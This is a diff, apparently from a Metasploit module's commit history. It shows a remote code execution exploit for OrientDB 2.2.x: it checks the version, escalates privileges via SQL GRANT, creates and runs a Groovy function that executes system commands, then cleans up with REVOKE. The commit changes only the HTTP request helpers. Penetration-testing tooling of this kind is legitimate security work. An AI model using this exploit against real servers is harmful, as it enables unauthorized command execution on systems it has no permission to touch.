@@ -51,7 +51,7 @@ def initialize(info = {})
51
51
def check
52
52
uri = target_uri
53
53
uri . path = normalize_uri ( uri . path )
54
- res = send_request_cgi ( { 'uri' => "#{ uri . path } listDatabases" } )
54
+ res = send_request_raw ( { 'uri' => "#{ uri . path } listDatabases" } )
55
55
if res and res . code == 200 and res . headers [ 'Server' ] =~ /OrientDB Server v\. 2\. 2\. [2-9]|1[0-9]|2[0-2]/
56
56
print_good ( "Version: #{ res . headers [ 'Server' ] } " )
57
57
return Exploit ::CheckCode ::Vulnerable
@@ -67,12 +67,11 @@ def http_send_command(cmd, opts = {})
67
67
request_parameters = {
68
68
'method' => 'POST' ,
69
69
'uri' => normalize_uri ( @uri . path , "/document/#{ opts } /-1:-1" ) ,
70
- 'encode_params' => false ,
71
70
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
72
71
'headers' => { 'Accept' => '*/*' , 'Content-Type' => 'application/json;charset=UTF-8' } ,
73
72
'data' => "{\" @class\" :\" ofunction\" ,\" @version\" :0,\" @rid\" :\" #-1:-1\" ,\" idempotent\" :null,\" name\" :\" #{ func_name } \" ,\" language\" :\" groovy\" ,\" code\" :\" #{ java_craft_runtime_exec ( cmd ) } \" ,\" parameters\" :null}"
74
73
}
75
- res = send_request_cgi ( request_parameters )
74
+ res = send_request_raw ( request_parameters )
76
75
if not ( res and res . code == 201 )
77
76
begin
78
77
json_body = JSON . parse ( res . body )
@@ -85,12 +84,11 @@ def http_send_command(cmd, opts = {})
85
84
request_parameters = {
86
85
'method' => 'POST' ,
87
86
'uri' => normalize_uri ( @uri . path , "/function/#{ opts } /#{ func_name } " ) ,
88
- 'encode_params' => false ,
89
87
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
90
88
'headers' => { 'Accept' => '*/*' , 'Content-Type' => 'application/json;charset=UTF-8' } ,
91
89
'data' => ""
92
90
}
93
- req = send_request_cgi ( request_parameters )
91
+ req = send_request_raw ( request_parameters )
94
92
if not ( req and req . code == 200 )
95
93
begin
96
94
json_body = JSON . parse ( res . body )
@@ -113,12 +111,11 @@ def http_send_command(cmd, opts = {})
113
111
request_parameters = {
114
112
'method' => 'DELETE' ,
115
113
'uri' => normalize_uri ( @uri . path , "/document/#{ opts } /#{ func_id } " ) ,
116
- 'encode_params' => false ,
117
114
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
118
115
'headers' => { 'Accept' => '*/*' } ,
119
116
'data' => ""
120
117
}
121
- rer = send_request_cgi ( request_parameters )
118
+ rer = send_request_raw ( request_parameters )
122
119
if not ( rer and rer . code == 204 )
123
120
begin
124
121
json_body = JSON . parse ( res . body )
@@ -159,7 +156,7 @@ def execute_command(cmd, opts = {})
159
156
vprint_status ( "Attempting to execute: #{ cmd } " )
160
157
@uri = target_uri
161
158
@uri . path = normalize_uri ( @uri . path )
162
- res = send_request_cgi ( { 'uri' => "#{ @uri . path } listDatabases" } )
159
+ res = send_request_raw ( { 'uri' => "#{ @uri . path } listDatabases" } )
163
160
if res && res . code == 200 && res . body . length > 0
164
161
begin
165
162
json_body = JSON . parse ( res . body ) [ "databases" ]
@@ -199,7 +196,7 @@ def linux_stager
199
196
def exploit
200
197
@uri = target_uri
201
198
@uri . path = normalize_uri ( @uri . path )
202
- res = send_request_cgi ( { 'uri' => "#{ @uri . path } listDatabases" } )
199
+ res = send_request_raw ( { 'uri' => "#{ @uri . path } listDatabases" } )
203
200
if res && res . code == 200 && res . body . length > 0
204
201
begin
205
202
json_body = JSON . parse ( res . body ) [ "databases" ]
@@ -221,12 +218,11 @@ def exploit
221
218
'method' => 'POST' ,
222
219
'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20" ) ,
223
220
'vars_get' => { 'format' => 'rid,type,version,class,graph' } ,
224
- 'encode_params' => false ,
225
221
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
226
222
'headers' => { 'Accept' => '*/*' } ,
227
223
'data' => "GRANT #{ priv } ON #{ item } TO writer"
228
224
}
229
- res = send_request_cgi ( request_parameters )
225
+ res = send_request_raw ( request_parameters )
230
226
end
231
227
end
232
228
# Exploit
@@ -249,12 +245,11 @@ def exploit
249
245
'method' => 'POST' ,
250
246
'uri' => normalize_uri ( @uri . path , "/command/#{ targetdb } /sql/-/20" ) ,
251
247
'vars_get' => { 'format' => 'rid,type,version,class,graph' } ,
252
- 'encode_params' => false ,
253
248
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
254
249
'headers' => { 'Accept' => '*/*' } ,
255
250
'data' => "REVOKE #{ priv } ON #{ item } FROM writer"
256
251
}
257
- res = send_request_cgi ( request_parameters )
252
+ res = send_request_raw ( request_parameters )
258
253
end
259
254
end
260
255
end
0 commit comments